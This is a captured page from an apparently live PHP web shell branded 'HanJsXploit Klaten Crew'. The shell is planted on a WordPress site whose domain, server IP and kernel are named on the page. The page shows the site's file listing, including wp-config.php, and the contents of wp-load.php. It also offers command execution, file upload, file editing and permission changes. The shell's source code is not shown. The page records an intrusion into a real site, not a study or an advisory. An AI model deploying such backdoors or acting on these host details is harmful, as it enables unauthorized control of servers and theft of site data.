Klaten Crew WebShell - proturismo.ipifap.org

HanJsXploit Klaten Crew

Linux r5.a1center.net 4.18.0-513.5.1.lve.el8.x86_64 #1 SMP Tue Nov 21 10:14:49 UTC 2023 x86_64
Apache
Server: 167.114.27.228
Your IP: 216.73.216.90

HOME

Name	Type	Size	Permissions	Modified	Actions
..	Parent	-	drwxr-xr-x	2026-07-30 18:42:15	-
.well-known	Folder	-	0755	2023-01-22 08:34:59
.wp-cli	Folder	-	0755	2023-01-22 08:34:59
cgi-bin	Folder	-	0755	2023-01-22 07:50:05
docs	Folder	-	0755	2026-04-16 19:47:34
images	Folder	-	0755	2023-01-22 08:35:31
wp-admin	Folder	-	0755	2026-05-22 09:49:16
wp-content	Folder	-	0755	2026-07-27 20:51:01
wp-includes	Folder	-	0755	2026-07-17 19:13:41
.htaccess	File	980 B	0644	2026-07-24 10:05:59
error_log	File	6.23 KB	0644	2026-07-28 19:11:36
index.php	File	405 B	0644	2020-02-06 11:33:12
license.txt	File	19.44 KB	0644	2026-01-01 05:07:30
readme.html	File	7.23 KB	0644	2026-07-17 19:13:41
wp-activate.php	File	7.2 KB	0644	2026-02-17 22:05:44
wp-blog-header.php	File	445 B	0444	2026-06-14 10:16:36
wp-comments-post.php	File	2.27 KB	0644	2023-06-14 19:11:16
wp-config-sample.php	File	3.26 KB	0644	2025-08-12 19:47:32
wp-config.php	File	3.35 KB	0644	2026-04-11 18:03:22
wp-cron.php	File	5.49 KB	0644	2024-08-03 00:40:16
wp-links-opml.php	File	2.43 KB	0644	2025-04-30 17:52:30
wp-load.php	File	3.84 KB	0644	2024-03-11 15:05:16
wp-login.php	File	50.63 KB	0644	2026-03-01 03:57:46
wp-mail.php	File	8.52 KB	0644	2025-04-03 03:25:26
wp-settings.php	File	31.88 KB	0644	2026-05-08 20:59:44
wp-signup.php	File	33.81 KB	0644	2026-02-17 22:05:44
wp-trackback.php	File	5.09 KB	0644	2025-08-19 17:30:32
xmlrpc.php	File	3.13 KB	0644	2024-11-08 20:52:18

<?php
/**
 * Bootstrap file for setting the ABSPATH constant
 * and loading the wp-config.php file. The wp-config.php
 * file will then load the wp-settings.php file, which
 * will then set up the WordPress environment.
 *
 * If the wp-config.php file is not found then an error
 * will be displayed asking the visitor to set up the
 * wp-config.php file.
 *
 * Will also search for wp-config.php in WordPress' parent
 * directory to allow the WordPress directory to remain
 * untouched.
 *
 * @package WordPress
 */

/** Define ABSPATH as this file's directory */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/*
 * The error_reporting() function can be disabled in php.ini. On systems where that is the case,
 * it's best to add a dummy function to the wp-config.php file, but as this call to the function
 * is run prior to wp-config.php loading, it is wrapped in a function_exists() check.
 */
if ( function_exists( 'error_reporting' ) ) {
	/*
	 * Initialize error reporting to a known set of levels.
	 *
	 * This will be adapted in wp_debug_mode() located in wp-includes/load.php based on WP_DEBUG.
	 * @see https://www.php.net/manual/en/errorfunc.constants.php List of known error levels.
	 */
	error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR );
}

/*
 * If wp-config.php exists in the WordPress root, or if it exists in the root and wp-settings.php
 * doesn't, load wp-config.php. The secondary check for wp-settings.php has the added benefit
 * of avoiding cases where the current directory is a nested installation, e.g. / is WordPress(a)
 * and /blog/ is WordPress(b).
 *
 * If neither set of conditions is true, initiate loading the setup process.
 */
if ( file_exists( ABSPATH . 'wp-config.php' ) ) {

/** The config file resides in ABSPATH */
	require_once ABSPATH . 'wp-config.php';

} elseif ( @file_exists( dirname( ABSPATH ) . '/wp-config.php' ) && ! @file_exists( dirname( ABSPATH ) . '/wp-settings.php' ) ) {

/** The config file resides one level above ABSPATH but is not part of another installation */
	require_once dirname( ABSPATH ) . '/wp-config.php';

} else {

// A config file doesn't exist.

define( 'WPINC', 'wp-includes' );
	require_once ABSPATH . WPINC . '/version.php';
	require_once ABSPATH . WPINC . '/compat.php';
	require_once ABSPATH . WPINC . '/load.php';

// Check for the required PHP version and for the MySQL extension or a database drop-in.
	wp_check_php_mysql_versions();

// Standardize $_SERVER variables across setups.
	wp_fix_server_vars();

define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' );
	require_once ABSPATH . WPINC . '/functions.php';

$path = wp_guess_url() . '/wp-admin/setup-config.php';

// Redirect to setup-config.php.
	if ( ! str_contains( $_SERVER['REQUEST_URI'], 'setup-config' ) ) {
		header( 'Location: ' . $path );
		exit;
	}

wp_load_translations_early();

// Die with an error message.
	$die = '' . sprintf(
		/* translators: %s: wp-config.php */
		__( "There doesn't seem to be a %s file. It is needed before the installation can continue." ),
		'<code>wp-config.php</code>'
	) . '';
	$die .= '' . sprintf(
		/* translators: 1: Documentation URL, 2: wp-config.php */
		__( 'Need more help? <a href="%1$s">Read the support article on %2$s</a>.' ),
		__( 'https://developer.wordpress.org/advanced-administration/wordpress/wp-config/' ),
		'<code>wp-config.php</code>'
	) . '';
	$die .= '' . sprintf(
		/* translators: %s: wp-config.php */
		__( "You can create a %s file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file." ),
		'<code>wp-config.php</code>'
	) . '';
	$die .= '<a href="' . $path . '" class="button button-large">' . __( 'Create a Configuration File' ) . '</a>';

wp_die( $die, __( 'WordPress &rsaquo; Error' ) );
}

HanJsXploit Klaten Crew

Command Execution

File Upload

HanJsXploit Klaten Crew

Command Execution

File Upload

Create New Folder

Create New File

Edit File: wp-load.php

Rename

Change Permissions

System Information